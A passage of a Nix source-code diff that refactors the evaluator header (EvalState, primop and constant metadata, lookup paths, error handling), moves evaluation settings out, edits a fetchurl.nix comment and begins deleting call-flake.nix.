maxPrimOpArity = 8; class Store; +namespace fetchers { struct Settings; } +struct EvalSettings; class EvalState; class StorePath; +struct SingleDerivedPath; enum RepairFlag : bool; +struct MemorySourceAccessor; +namespace eval_cache { + class EvalCache; +} +/** + * Function that implements a primop. + */ +using PrimOpFun = void(EvalState & state, const PosIdx pos, Value * * args, Value & v); -typedef void (* PrimOpFun) (EvalState & state, const PosIdx pos, Value * * args, Value & v); - +/** + * Info about a primitive operation, and its implementation + */ struct PrimOp { - PrimOpFun fun; - size_t arity; + /** + * Name of the primop. `__` prefix is treated specially. + */ std::string name; + + /** + * Names of the parameters of a primop, for primops that take a + * fixed number of arguments to be substituted for these parameters. + */ std::vector args; + + /** + * Aritiy of the primop. + * + * If `args` is not empty, this field will be computed from that + * field instead, so it doesn't need to be manually set. + */ + size_t arity = 0; + + /** + * Optional free-form documentation about the primop. + */ const char * doc = nullptr; + + /** + * Add a trace item, `while calling the '' builtin` + * + * This is used to remove the redundant item for `builtins.addErrorContext`. + */ + bool addTrace = true; + + /** + * Implementation of the primop. + */ + std::function fun; + + /** + * Optional experimental for this to be gated on. + */ + std::optional experimentalFeature; + + /** + * Validity check to be performed by functions that introduce primops, + * such as RegisterPrimOp() and Value::mkPrimOp(). + */ + void check(); +}; + +std::ostream & operator<<(std::ostream & output, const PrimOp & primOp); + +/** + * Info about a constant + */ +struct Constant +{ + /** + * Optional type of the constant (known since it is a fixed value). + * + * @todo we should use an enum for this. + */ + ValueType type = nThunk; + + /** + * Optional free-form documentation about the constant. + */ + const char * doc = nullptr; + + /** + * Whether the constant is impure, and not available in pure mode. + */ + bool impureOnly = false; }; #if HAVE_BOEHMGC @@ -39,11 +130,11 @@ struct PrimOp typedef std::map ValMap; #endif +typedef std::unordered_map DocCommentMap; + struct Env { Env * up; - unsigned short prevWith:14; // nr of levels up to next `with' environment - enum { Plain = 0, HasWithExpr, HasWithAttrs } type:2; Value * values[0]; }; @@ -52,84 +143,130 @@ void printEnvBindings(const SymbolTable & st, const StaticEnv & se, const Env & std::unique_ptr mapStaticEnvBindings(const SymbolTable & st, const StaticEnv & se, const Env & env); -void copyContext(const Value & v, PathSet & context); +void copyContext(const Value & v, NixStringContext & context); -/* Cache for calls to addToStore(); maps source paths to the store - paths. */ -typedef std::map SrcToStore; - - -std::ostream & printValue(const EvalState & state, std::ostream & str, const Value & v); -std::string printValue(const EvalState & state, const Value & v); +std::string printValue(EvalState & state, Value & v); std::ostream & operator << (std::ostream & os, const ValueType t); -typedef std::pair SearchPathElem; -typedef std::list SearchPath; - - -/* Initialise the Boehm GC, if applicable. */ -void initGC(); - - struct RegexCache; std::shared_ptr makeRegexCache(); struct DebugTrace { - std::shared_ptr pos; + std::shared_ptr pos; const Expr & expr; const Env & env; - hintformat hint; + HintFmt hint; bool isError; }; -void debugError(Error * e, Env & env, Expr & expr); - class EvalState : public std::enable_shared_from_this { public: + const fetchers::Settings & fetchSettings; + const EvalSettings & settings; SymbolTable symbols; PosTable positions; - static inline std::string derivationNixPath = "//builtin/derivation.nix"; - const Symbol sWith, sOutPath, sDrvPath, sType, sMeta, sName, sValue, sSystem, sOverrides, sOutputs, sOutputName, sIgnoreNulls, sFile, sLine, sColumn, sFunctor, sToString, - sRight, sWrong, sStructuredAttrs, sBuilder, sArgs, + sRight, sWrong, sStructuredAttrs, + sAllowedReferences, sAllowedRequisites, sDisallowedReferences, sDisallowedRequisites, + sMaxSize, sMaxClosureSize, + sBuilder, sArgs, sContentAddressed, sImpure, sOutputHash, sOutputHashAlgo, sOutputHashMode, sRecurseForDerivations, sDescription, sSelf, sEpsilon, sStartSet, sOperator, sKey, sPath, sPrefix, sOutputSpecified; - Symbol sDerivationNix; - /* If set, force copying files to the Nix store even if they - already exist there. */ + const Expr::AstSymbols exprSymbols; + + /** + * If set, force copying files to the Nix store even if they + * already exist there. + */ RepairFlag repair; - /* The allowed filesystem paths in restricted or pure evaluation - mode. */ - std::optional allowedPaths; - Bindings emptyBindings; - /* Store used to materialise .drv files. */ + /** + * Empty list constant. + */ + Value vEmptyList; + + /** + * `null` constant. + * + * This is _not_ a singleton. Pointer equality is _not_ sufficient. + */ + Value vNull; + + /** + * `true` constant. + * + * This is _not_ a singleton. Pointer equality is _not_ sufficient. + */ + Value vTrue; + + /** + * `true` constant. + * + * This is _not_ a singleton. Pointer equality is _not_ sufficient. + */ + Value vFalse; + + /** `"regular"` */ + Value vStringRegular; + /** `"directory"` */ + Value vStringDirectory; + /** `"symlink"` */ + Value vStringSymlink; + /** `"unknown"` */ + Value vStringUnknown; + + /** + * The accessor for the root filesystem. + */ + const ref rootFS; + + /** + * The in-memory filesystem for paths. + */ + const ref corepkgsFS; + + /** + * In-memory filesystem for internal, non-user-callable Nix + * expressions like call-flake.nix. + */ + const ref internalFS; + + const SourcePath derivationInternal; + + const SourcePath callFlakeInternal; + + /** + * Store used to materialise .drv files. + */ const ref store; - /* Store used to build stuff. */ + /** + * Store used to build stuff. + */ const ref buildStore; - RootValue vCallFlake = nullptr; RootValue vImportedDrvToDerivation = nullptr; - /* Debugger */ - void (* debugRepl)(ref es, const ValMap & extraEnv); + /** + * Debugger + */ + ReplExitStatus (* debugRepl)(ref es, const ValMap & extraEnv); bool debugStop; - bool debugQuit; + bool inDebugger = false; int trylevel; std::list debugTraces; std::map> exprEnvs; @@ -142,295 +279,332 @@ public: return std::shared_ptr();; } + /** Whether a debug repl can be started. If `false`, `runDebugRepl(error)` will return without starting a repl. */ + bool canDebug(); + + /** Use front of `debugTraces`; see `runDebugRepl(error,env,expr)` */ + void runDebugRepl(const Error * error); + + /** + * Run a debug repl with the given error, environment and expression. + * @param error The error to debug, may be nullptr. + * @param env The environment to debug, matching the expression. + * @param expr The expression to debug, matching the environment. + */ void runDebugRepl(const Error * error, const Env & env, const Expr & expr); - template - [[gnu::noinline, gnu::noreturn]] - void debugThrow(E && error, const Env & env, const Expr & expr) - { - if (debugRepl) - runDebugRepl(&error, env, expr); - - throw std::move(error); - } - - template - [[gnu::noinline, gnu::noreturn]] - void debugThrowLastTrace(E && e) - { - // Call this in the situation where Expr and Env are inaccessible. - // The debugger will start in the last context that's in the - // DebugTrace stack. - if (debugRepl && !debugTraces.empty()) { - const DebugTrace & last = debugTraces.front(); - runDebugRepl(&e, last.env, last.expr); - } - - throw std::move(e); + template + [[nodiscard, gnu::noinline]] + EvalErrorBuilder & error(const Args & ... args) { + // `EvalErrorBuilder::debugThrow` performs the corresponding `delete`. + return *new EvalErrorBuilder(*this, args...); } + /** + * A cache for evaluation caches, so as to reuse the same root value if possible + */ + std::map> evalCaches; private: - SrcToStore srcToStore; - /* A cache from path names to parse trees. */ + /* Cache for calls to addToStore(); maps source paths to the store + paths. */ + Sync> srcToStore; + + /** + * A cache from path names to parse trees. + */ #if HAVE_BOEHMGC - typedef std::map, traceable_allocator>> FileParseCache; + typedef std::unordered_map, std::equal_to, traceable_allocator>> FileParseCache; #else - typedef std::map FileParseCache; + typedef std::unordered_map FileParseCache; #endif FileParseCache fileParseCache; - /* A cache from path names to values. */ + /** + * A cache from path names to values. + */ #if HAVE_BOEHMGC - typedef std::map, traceable_allocator>> FileEvalCache; + typedef std::unordered_map, std::equal_to, traceable_allocator>> FileEvalCache; #else - typedef std::map FileEvalCache; + typedef std::unordered_map FileEvalCache; #endif FileEvalCache fileEvalCache; - SearchPath searchPath; + /** + * Associate source positions of certain AST nodes with their preceding doc comment, if they have one. + * Grouped by file. + */ + std::unordered_map positionToDocComment; - std::map> searchPathResolved; + LookupPath lookupPath; - /* Cache used by checkSourcePath(). */ - std::unordered_map resolvedPaths; + std::map> lookupPathResolved; - /* Cache used by prim_match(). */ + /** + * Cache used by prim_match(). + */ std::shared_ptr regexCache; #if HAVE_BOEHMGC - /* Allocation cache for GC'd Value objects. */ + /** + * Allocation cache for GC'd Value objects. + */ std::shared_ptr valueAllocCache; - /* Allocation cache for size-1 Env objects. */ + /** + * Allocation cache for size-1 Env objects. + */ std::shared_ptr env1AllocCache; #endif public: EvalState( - const Strings & _searchPath, + const LookupPath & _lookupPath, ref store, + const fetchers::Settings & fetchSettings, + const EvalSettings & settings, std::shared_ptr buildStore = nullptr); ~EvalState(); - void addToSearchPath(const std::string & s); + LookupPath getLookupPath() { return lookupPath; } - SearchPath getSearchPath() { return searchPath; } + /** + * Return a `SourcePath` that refers to `path` in the root + * filesystem. + */ + SourcePath rootPath(CanonPath path); - /* Allow access to a path. */ + /** + * Variant which accepts relative paths too. + */ + SourcePath rootPath(PathView path); + + /** + * Allow access to a path. + */ void allowPath(const Path & path); - /* Allow access to a store path. Note that this gets remapped to - the real store path if `store` is a chroot store. */ + /** + * Allow access to a store path. Note that this gets remapped to + * the real store path if `store` is a chroot store. + */ void allowPath(const StorePath & storePath); - /* Allow access to a store path and return it as a string. */ + /** + * Allow access to a store path and return it as a string. + */ void allowAndSetStorePathString(const StorePath & storePath, Value & v); - /* Check whether access to a path is allowed and throw an error if - not. Otherwise return the canonicalised path. */ - Path checkSourcePath(const Path & path); - void checkURI(const std::string & uri); - /* When using a diverted store and 'path' is in the Nix store, map - 'path' to the diverted location (e.g. /nix/store/foo is mapped - to /home/alice/my-nix/nix/store/foo). However, this is only - done if the context is not empty, since otherwise we're - probably trying to read from the actual /nix/store. This is - intended to distinguish between import-from-derivation and - sources stored in the actual /nix/store. */ - Path toRealPath(const Path & path, const PathSet & context); + /** + * When using a diverted store and 'path' is in the Nix store, map + * 'path' to the diverted location (e.g. /nix/store/foo is mapped + * to /home/alice/my-nix/nix/store/foo). However, this is only + * done if the context is not empty, since otherwise we're + * probably trying to read from the actual /nix/store. This is + * intended to distinguish between import-from-derivation and + * sources stored in the actual /nix/store. + */ + Path toRealPath(const Path & path, const NixStringContext & context); - /* Parse a Nix expression from the specified file. */ - Expr * parseExprFromFile(const Path & path); - Expr * parseExprFromFile(const Path & path, std::shared_ptr & staticEnv); + /** + * Parse a Nix expression from the specified file. + */ + Expr * parseExprFromFile(const SourcePath & path); + Expr * parseExprFromFile(const SourcePath & path, std::shared_ptr & staticEnv); - /* Parse a Nix expression from the specified string. */ - Expr * parseExprFromString(std::string s, const Path & basePath, std::shared_ptr & staticEnv); - Expr * parseExprFromString(std::string s, const Path & basePath); + /** + * Parse a Nix expression from the specified string. + */ + Expr * parseExprFromString(std::string s, const SourcePath & basePath, std::shared_ptr & staticEnv); + Expr * parseExprFromString(std::string s, const SourcePath & basePath); Expr * parseStdin(); - /* Evaluate an expression read from the given file to normal - form. Optionally enforce that the top-level expression is - trivial (i.e. doesn't require arbitrary computation). */ - void evalFile(const Path & path, Value & v, bool mustBeTrivial = false); - - /* Like `evalFile`, but with an already parsed expression. */ - void cacheFile( - const Path & path, - const Path & resolvedPath, - Expr * e, - Value & v, - bool mustBeTrivial = false); + /** + * Evaluate an expression read from the given file to normal + * form. Optionally enforce that the top-level expression is + * trivial (i.e. doesn't require arbitrary computation). + */ + void evalFile(const SourcePath & path, Value & v, bool mustBeTrivial = false); void resetFileCache(); - /* Look up a file in the search path. */ - Path findFile(const std::string_view path); - Path findFile(SearchPath & searchPath, const std::string_view path, const PosIdx pos = noPos); + /** + * Look up a file in the search path. + */ + SourcePath findFile(const std::string_view path); + SourcePath findFile(const LookupPath & lookupPath, const std::string_view path, const PosIdx pos = noPos); - /* If the specified search path element is a URI, download it. */ - std::pair resolveSearchPathElem(const SearchPathElem & elem); + /** + * Try to resolve a search path value (not the optional key part). + * + * If the specified search path element is a URI, download it. + * + * If it is not found, return `std::nullopt` + */ + std::optional resolveLookupPathPath( + const LookupPath::Path & elem, + bool initAccessControl = false); - /* Evaluate an expression to normal form, storing the result in - value `v'. */ + /** + * Evaluate an expression to normal form + * + * @param [out] v The resulting is stored here. + */ void eval(Expr * e, Value & v); - /* Evaluation the expression, then verify that it has the expected - type. */ + /** + * Evaluation the expression, then verify that it has the expected + * type. + */ inline bool evalBool(Env & env, Expr * e); - inline bool evalBool(Env & env, Expr * e, const PosIdx pos); - inline void evalAttrs(Env & env, Expr * e, Value & v); + inline bool evalBool(Env & env, Expr * e, const PosIdx pos, std::string_view errorCtx); + inline void evalAttrs(Env & env, Expr * e, Value & v, const PosIdx pos, std::string_view errorCtx); - /* If `v' is a thunk, enter it and overwrite `v' with the result - of the evaluation of the thunk. If `v' is a delayed function - application, call the function and overwrite `v' with the - result. Otherwise, this is a no-op. */ + /** + * If `v` is a thunk, enter it and overwrite `v` with the result + * of the evaluation of the thunk. If `v` is a delayed function + * application, call the function and overwrite `v` with the + * result. Otherwise, this is a no-op. + */ inline void forceValue(Value & v, const PosIdx pos); - template - inline void forceValue(Value & v, Callable getPos); + void tryFixupBlackHolePos(Value & v, PosIdx pos); - /* Force a value, then recursively force list elements and - attributes. */ + /** + * Force a value, then recursively force list elements and + * attributes. + */ void forceValueDeep(Value & v); - /* Force `v', and then verify that it has the expected type. */ - NixInt forceInt(Value & v, const PosIdx pos); - NixFloat forceFloat(Value & v, const PosIdx pos); - bool forceBool(Value & v, const PosIdx pos); + /** + * Force `v`, and then verify that it has the expected type. + */ + NixInt forceInt(Value & v, const PosIdx pos, std::string_view errorCtx); + NixFloat forceFloat(Value & v, const PosIdx pos, std::string_view errorCtx); + bool forceBool(Value & v, const PosIdx pos, std::string_view errorCtx); - void forceAttrs(Value & v, const PosIdx pos); + void forceAttrs(Value & v, const PosIdx pos, std::string_view errorCtx); template - inline void forceAttrs(Value & v, Callable getPos); + inline void forceAttrs(Value & v, Callable getPos, std::string_view errorCtx); - inline void forceList(Value & v, const PosIdx pos); - void forceFunction(Value & v, const PosIdx pos); // either lambda or primop - std::string_view forceString(Value & v, const PosIdx pos = noPos); - std::string_view forceString(Value & v, PathSet & context, const PosIdx pos = noPos); - std::string_view forceStringNoCtx(Value & v, const PosIdx pos = noPos); - - [[gnu::noinline, gnu::noreturn]] - void throwEvalError(const PosIdx pos, const char * s); - [[gnu::noinline, gnu::noreturn]] - void throwEvalError(const PosIdx pos, const char * s, - Env & env, Expr & expr); - [[gnu::noinline, gnu::noreturn]] - void throwEvalError(const char * s, const std::string & s2); - [[gnu::noinline, gnu::noreturn]] - void throwEvalError(const PosIdx pos, const char * s, const std::string & s2); - [[gnu::noinline, gnu::noreturn]] - void throwEvalError(const char * s, const std::string & s2, - Env & env, Expr & expr); - [[gnu::noinline, gnu::noreturn]] - void throwEvalError(const PosIdx pos, const char * s, const std::string & s2, - Env & env, Expr & expr); - [[gnu::noinline, gnu::noreturn]] - void throwEvalError(const char * s, const std::string & s2, const std::string & s3, - Env & env, Expr & expr); - [[gnu::noinline, gnu::noreturn]] - void throwEvalError(const PosIdx pos, const char * s, const std::string & s2, const std::string & s3, - Env & env, Expr & expr); - [[gnu::noinline, gnu::noreturn]] - void throwEvalError(const PosIdx pos, const char * s, const std::string & s2, const std::string & s3); - [[gnu::noinline, gnu::noreturn]] - void throwEvalError(const char * s, const std::string & s2, const std::string & s3); - [[gnu::noinline, gnu::noreturn]] - void throwEvalError(const PosIdx pos, const Suggestions & suggestions, const char * s, const std::string & s2, - Env & env, Expr & expr); - [[gnu::noinline, gnu::noreturn]] - void throwEvalError(const PosIdx p1, const char * s, const Symbol sym, const PosIdx p2, - Env & env, Expr & expr); - - [[gnu::noinline, gnu::noreturn]] - void throwTypeError(const PosIdx pos, const char * s, const Value & v); - [[gnu::noinline, gnu::noreturn]] - void throwTypeError(const PosIdx pos, const char * s, const Value & v, - Env & env, Expr & expr); - [[gnu::noinline, gnu::noreturn]] - void throwTypeError(const PosIdx pos, const char * s); - [[gnu::noinline, gnu::noreturn]] - void throwTypeError(const PosIdx pos, const char * s, - Env & env, Expr & expr); - [[gnu::noinline, gnu::noreturn]] - void throwTypeError(const PosIdx pos, const char * s, const ExprLambda & fun, const Symbol s2, - Env & env, Expr & expr); - [[gnu::noinline, gnu::noreturn]] - void throwTypeError(const PosIdx pos, const Suggestions & suggestions, const char * s, const ExprLambda & fun, const Symbol s2, - Env & env, Expr & expr); - [[gnu::noinline, gnu::noreturn]] - void throwTypeError(const char * s, const Value & v, - Env & env, Expr & expr); - - [[gnu::noinline, gnu::noreturn]] - void throwAssertionError(const PosIdx pos, const char * s, const std::string & s1, - Env & env, Expr & expr); - - [[gnu::noinline, gnu::noreturn]] - void throwUndefinedVarError(const PosIdx pos, const char * s, const std::string & s1, - Env & env, Expr & expr); - - [[gnu::noinline, gnu::noreturn]] - void throwMissingArgumentError(const PosIdx pos, const char * s, const std::string & s1, - Env & env, Expr & expr); + inline void forceList(Value & v, const PosIdx pos, std::string_view errorCtx); + /** + * @param v either lambda or primop + */ + void forceFunction(Value & v, const PosIdx pos, std::string_view errorCtx); + std::string_view forceString(Value & v, const PosIdx pos, std::string_view errorCtx); + std::string_view forceString(Value & v, NixStringContext & context, const PosIdx pos, std::string_view errorCtx); + std::string_view forceStringNoCtx(Value & v, const PosIdx pos, std::string_view errorCtx); + template [[gnu::noinline]] - void addErrorTrace(Error & e, const char * s, const std::string & s2) const; + void addErrorTrace(Error & e, const Args & ... formatArgs) const; + template [[gnu::noinline]] - void addErrorTrace(Error & e, const PosIdx pos, const char * s, const std::string & s2) const; + void addErrorTrace(Error & e, const PosIdx pos, const Args & ... formatArgs) const; public: - /* Return true iff the value `v' denotes a derivation (i.e. a - set with attribute `type = "derivation"'). */ + /** + * @return true iff the value `v` denotes a derivation (i.e. a + * set with attribute `type = "derivation"`). + */ bool isDerivation(Value & v); std::optional tryAttrsToString(const PosIdx pos, Value & v, - PathSet & context, bool coerceMore = false, bool copyToStore = true); + NixStringContext & context, bool coerceMore = false, bool copyToStore = true); - /* String coercion. Converts strings, paths and derivations to a - string. If `coerceMore' is set, also converts nulls, integers, - booleans and lists to a string. If `copyToStore' is set, - referenced paths are copied to the Nix store as a side effect. */ - BackedStringView coerceToString(const PosIdx pos, Value & v, PathSet & context, + /** + * String coercion. + * + * Converts strings, paths and derivations to a + * string. If `coerceMore` is set, also converts nulls, integers, + * booleans and lists to a string. If `copyToStore` is set, + * referenced paths are copied to the Nix store as a side effect. + */ + BackedStringView coerceToString(const PosIdx pos, Value & v, NixStringContext & context, + std::string_view errorCtx, bool coerceMore = false, bool copyToStore = true, bool canonicalizePath = true); - std::string copyPathToStore(PathSet & context, const Path & path); + StorePath copyPathToStore(NixStringContext & context, const SourcePath & path); - /* Path coercion. Converts strings, paths and derivations to a - path. The result is guaranteed to be a canonicalised, absolute - path. Nothing is copied to the store. */ - Path coerceToPath(const PosIdx pos, Value & v, PathSet & context); + /** + * Path coercion. + * + * Converts strings, paths and derivations to a + * path. The result is guaranteed to be a canonicalised, absolute + * path. Nothing is copied to the store. + */ + SourcePath coerceToPath(const PosIdx pos, Value & v, NixStringContext & context, std::string_view errorCtx); - /* Like coerceToPath, but the result must be a store path. */ - StorePath coerceToStorePath(const PosIdx pos, Value & v, PathSet & context); + /** + * Like coerceToPath, but the result must be a store path. + */ + StorePath coerceToStorePath(const PosIdx pos, Value & v, NixStringContext & context, std::string_view errorCtx); + + /** + * Part of `coerceToSingleDerivedPath()` without any store IO which is exposed for unit testing only. + */ + std::pair coerceToSingleDerivedPathUnchecked(const PosIdx pos, Value & v, std::string_view errorCtx); + + /** + * Coerce to `SingleDerivedPath`. + * + * Must be a string which is either a literal store path or a + * "placeholder (see `DownstreamPlaceholder`). + * + * Even more importantly, the string context must be exactly one + * element, which is either a `NixStringContextElem::Opaque` or + * `NixStringContextElem::Built`. (`NixStringContextEleme::DrvDeep` + * is not permitted). + * + * The string is parsed based on the context --- the context is the + * source of truth, and ultimately tells us what we want, and then + * we ensure the string corresponds to it. + */ + SingleDerivedPath coerceToSingleDerivedPath(const PosIdx pos, Value & v, std::string_view errorCtx); + +#if HAVE_BOEHMGC + /** A GC root for the baseEnv reference. */ + std::shared_ptr baseEnvP; +#endif public: - /* The base environment, containing the builtin functions and - values. */ + /** + * The base environment, containing the builtin functions and + * values. + */ Env & baseEnv; - /* The same, but used during parsing to resolve variables. */ + /** + * The same, but used during parsing to resolve variables. + */ std::shared_ptr staticBaseEnv; // !!! should be private + /** + * Name and documentation about every constant. + * + * Constants from primops are hard to crawl, and their docs will go + * here too. + */ + std::vector> constantInfos; + private: unsigned int baseEnvDispl = 0; void createBaseEnv(); - Value * addConstant(const std::string & name, Value & v); + Value * addConstant(const std::string & name, Value & v, Constant info); - void addConstant(const std::string & name, Value * v); - - Value * addPrimOp(const std::string & name, - size_t arity, PrimOpFun primOp); + void addConstant(const std::string & name, Value * v, Constant info); Value * addPrimOp(PrimOp && primOp); @@ -444,6 +618,10 @@ public: std::optional name; size_t arity; std::vector args; + /** + * Unlike the other `doc` fields in this file, this one should never be + * `null`. + */ const char * doc; }; @@ -461,14 +639,30 @@ private: char * text, size_t length, Pos::Origin origin, - Path basePath, + const SourcePath & basePath, std::shared_ptr & staticEnv); + /** + * Current Nix call stack depth, used with `max-call-depth` setting to throw stack overflow hopefully before we run out of system stack. + */ + size_t callDepth = 0; + public: - /* Do a deep equality test between two values. That is, list - elements and attributes are compared recursively. */ - bool eqValues(Value & v1, Value & v2); + /** + * Do a deep equality test between two values. That is, list + * elements and attributes are compared recursively. + */ + bool eqValues(Value & v1, Value & v2, const PosIdx pos, std::string_view errorCtx); + + /** + * Like `eqValues`, but throws an `AssertionError` if not equal. + * + * WARNING: + * Callers should call `eqValues` first and report if `assertEqValues` behaves + * incorrectly. (e.g. if it doesn't throw if eqValues returns false or vice versa) + */ + void assertEqValues(Value & v1, Value & v2, const PosIdx pos, std::string_view errorCtx); bool isFunctor(Value & fun); @@ -481,17 +675,18 @@ public: callFunction(fun, 1, args, vRes, pos); } - /* Automatically call a function for which each argument has a - default value or has a binding in the `args' map. */ + /** + * Automatically call a function for which each argument has a + * default value or has a binding in the `args` map. + */ void autoCallFunction(Bindings & args, Value & fun, Value & res); - /* Allocation primitives. */ + /** + * Allocation primitives. + */ inline Value * allocValue(); inline Env & allocEnv(size_t size); - Value * allocAttr(Value & vAttrs, Symbol name); - Value * allocAttr(Value & vAttrs, std::string_view name); - Bindings * allocBindings(size_t capacity); BindingsBuilder buildBindings(size_t capacity) @@ -499,22 +694,120 @@ public: return BindingsBuilder(*this, allocBindings(capacity)); } - void mkList(Value & v, size_t length); + ListBuilder buildList(size_t size) + { + return ListBuilder(*this, size); + } + + /** + * Return a boolean `Value *` without allocating. + */ + Value *getBool(bool b); + void mkThunk_(Value & v, Expr * expr); void mkPos(Value & v, PosIdx pos); - void concatLists(Value & v, size_t nrLists, Value * * lists, const PosIdx pos); - - /* Print statistics. */ - void printStats(); - - /* Realise the given context, and return a mapping from the placeholders - * used to construct the associated value to their final store path + /** + * Create a string representing a store path. + * + * The string is the printed store path with a context containing a + * single `NixStringContextElem::Opaque` element of that store path. */ - [[nodiscard]] StringMap realiseContext(const PathSet & context); + void mkStorePathString(const StorePath & storePath, Value & v); + + /** + * Create a string representing a `SingleDerivedPath::Built`. + * + * The string is the printed store path with a context containing a + * single `NixStringContextElem::Built` element of the drv path and + * output name. + * + * @param value Value we are settings + * + * @param b the drv whose output we are making a string for, and the + * output + * + * @param optStaticOutputPath Optional output path for that string. + * Must be passed if and only if output store object is + * input-addressed or fixed output. Will be printed to form string + * if passed, otherwise a placeholder will be used (see + * `DownstreamPlaceholder`). + * + * @param xpSettings Stop-gap to avoid globals during unit tests. + */ + void mkOutputString( + Value & value, + const SingleDerivedPath::Built & b, + std::optional optStaticOutputPath, + const ExperimentalFeatureSettings & xpSettings = experimentalFeatureSettings); + + /** + * Create a string representing a `SingleDerivedPath`. + * + * A combination of `mkStorePathString` and `mkOutputString`. + */ + void mkSingleDerivedPathString( + const SingleDerivedPath & p, + Value & v); + + void concatLists(Value & v, size_t nrLists, Value * const * lists, const PosIdx pos, std::string_view errorCtx); + + /** + * Print statistics, if enabled. + * + * Performs a full memory GC before printing the statistics, so that the + * GC statistics are more accurate. + */ + void maybePrintStats(); + + /** + * Print statistics, unconditionally, cheaply, without performing a GC first. + */ + void printStatistics(); + + /** + * Perform a full memory garbage collection - not incremental. + * + * @return true if Nix was built with GC and a GC was performed, false if not. + * The return value is currently not thread safe - just the return value. + */ + bool fullGC(); + + /** + * Realise the given context + * @param[in] context the context to realise + * @param[out] maybePaths if not nullptr, all built or referenced store paths will be added to this set + * @return a mapping from the placeholders used to construct the associated value to their final store path. + */ + [[nodiscard]] StringMap realiseContext(const NixStringContext & context, StorePathSet * maybePaths = nullptr, bool isIFD = true); + + /* Call the binary path filter predicate used builtins.path etc. */ + bool callPathFilter( + Value * filterFun, + const SourcePath & path, + std::string_view pathArg, + PosIdx pos); + + DocComment getDocCommentForPos(PosIdx pos); private: + /** + * Like `mkOutputString` but just creates a raw string, not an + * string Value, which would also have a string context. + */ + std::string mkOutputStringRaw( + const SingleDerivedPath::Built & b, + std::optional optStaticOutputPath, + const ExperimentalFeatureSettings & xpSettings = experimentalFeatureSettings); + + /** + * Like `mkSingleDerivedPathStringRaw` but just creates a raw string + * Value, which would also have a string context. + */ + std::string mkSingleDerivedPathStringRaw( + const SingleDerivedPath & p); + unsigned long nrEnvs = 0; unsigned long nrValuesInEnvs = 0; unsigned long nrValues = 0; @@ -555,120 +848,39 @@ private: friend void prim_split(EvalState & state, const PosIdx pos, Value * * args, Value & v); friend struct Value; + friend class ListBuilder; }; struct DebugTraceStacker { DebugTraceStacker(EvalState & evalState, DebugTrace t); ~DebugTraceStacker() { - // assert(evalState.debugTraces.front() == trace); evalState.debugTraces.pop_front(); } EvalState & evalState; DebugTrace trace; }; -/* Return a string representing the type of the value `v'. */ -std::string_view showType(ValueType type); +/** + * @return A string representing the type of the value `v`. + * + * @param withArticle Whether to begin with an english article, e.g. "an + * integer" vs "integer". + */ +std::string_view showType(ValueType type, bool withArticle = true); std::string showType(const Value & v); -/* Decode a context string ‘!!’ into a pair . */ -NixStringContextElem decodeContext(const Store & store, std::string_view s); +/** + * If `path` refers to a directory, then append "/default.nix". + * + * @param addDefaultNix Whether to append "/default.nix" after resolving symlinks. + */ +SourcePath resolveExprPath(SourcePath path, bool addDefaultNix = true); -/* If `path' refers to a directory, then append "/default.nix". */ -Path resolveExprPath(Path path); - -struct InvalidPathError : EvalError -{ - Path path; - InvalidPathError(const Path & path); -#ifdef EXCEPTION_NEEDS_THROW_SPEC - ~InvalidPathError() throw () { }; -#endif -}; - -struct EvalSettings : Config -{ - EvalSettings(); - - static Strings getDefaultNixPath(); - - static bool isPseudoUrl(std::string_view s); - - static std::string resolvePseudoUrl(std::string_view url); - - Setting enableNativeCode{this, false, "allow-unsafe-native-code-during-evaluation", - "Whether builtin functions that allow executing native code should be enabled."}; - - Setting nixPath{ - this, getDefaultNixPath(), "nix-path", - "List of directories to be searched for `<...>` file references."}; - - Setting restrictEval{ - this, false, "restrict-eval", - R"( - If set to `true`, the Nix evaluator will not allow access to any - files outside of the Nix search path (as set via the `NIX_PATH` - environment variable or the `-I` option), or to URIs outside of - `allowed-uri`. The default is `false`. - )"}; - - Setting pureEval{this, false, "pure-eval", - "Whether to restrict file system and network access to files specified by cryptographic hash."}; - - Setting enableImportFromDerivation{ - this, true, "allow-import-from-derivation", - R"( - By default, Nix allows you to `import` from a derivation, allowing - building at evaluation time. With this option set to false, Nix will - throw an error when evaluating an expression that uses this feature, - allowing users to ensure their evaluation will not require any - builds to take place. - )"}; - - Setting allowedUris{this, {}, "allowed-uris", - R"( - A list of URI prefixes to which access is allowed in restricted - evaluation mode. For example, when set to - `https://github.com/NixOS`, builtin functions such as `fetchGit` are - allowed to access `https://github.com/NixOS/patchelf.git`. - )"}; - - Setting traceFunctionCalls{this, false, "trace-function-calls", - R"( - If set to `true`, the Nix evaluator will trace every function call. - Nix will print a log message at the "vomit" level for every function - entrance and function exit. - - function-trace entered undefined position at 1565795816999559622 - function-trace exited undefined position at 1565795816999581277 - function-trace entered /nix/store/.../example.nix:226:41 at 1565795253249935150 - function-trace exited /nix/store/.../example.nix:226:41 at 1565795253249941684 - - The `undefined position` means the function call is a builtin. - - Use the `contrib/stack-collapse.py` script distributed with the Nix - source code to convert the trace logs in to a format suitable for - `flamegraph.pl`. - )"}; - - Setting useEvalCache{this, true, "eval-cache", - "Whether to use the flake evaluation cache."}; - - Setting ignoreExceptionsDuringTry{this, false, "ignore-try", - R"( - If set to true, ignore exceptions inside 'tryEval' calls when evaluating nix expressions in - debug mode (using the --debugger flag). By default the debugger will pause on all exceptions. - )"}; - - Setting traceVerbose{this, false, "trace-verbose", - "Whether `builtins.traceVerbose` should trace its first argument when evaluated."}; -}; - -extern EvalSettings evalSettings; - -static const std::string corepkgsPrefix{"/__corepkgs__/"}; +/** + * Whether a URI is allowed, assuming restrictEval is enabled + */ +bool isAllowedURI(std::string_view uri, const Strings & allowedPaths); } diff --git a/src/libexpr/fetchurl.nix b/src/libexpr/fetchurl.nix index 9d1b61d7f..85a01d161 100644 --- a/src/libexpr/fetchurl.nix +++ b/src/libexpr/fetchurl.nix @@ -28,11 +28,8 @@ derivation ({ # No need to double the amount of network traffic preferLocalBuild = true; + # This attribute does nothing; it's here to avoid changing evaluation results. impureEnvVars = [ - # We borrow these environment variables from the caller to allow - # easy proxy configuration. This is impure, but a fixed-output - # derivation like fetchurl is allowed to do so since its result is - # by definition pure. "http_proxy" "https_proxy" "ftp_proxy" "all_proxy" "no_proxy" ]; diff --git a/src/libexpr/flake/call-flake.nix b/src/libexpr/flake/call-flake.nix deleted file mode 100644 index 8061db3df..000000000 --- a/src/libexpr/flake/call-flake.nix +++ /dev/null @@ -1,56 +0,0 @@ -lockFileStr: rootSrc: rootSubdir: - -let - - lockFile = builtins.fromJSON lockFileStr; - - allNodes = - builtins.mapAttrs - (key: node: - let - - sourceInfo = - if key == lockFile.root - then 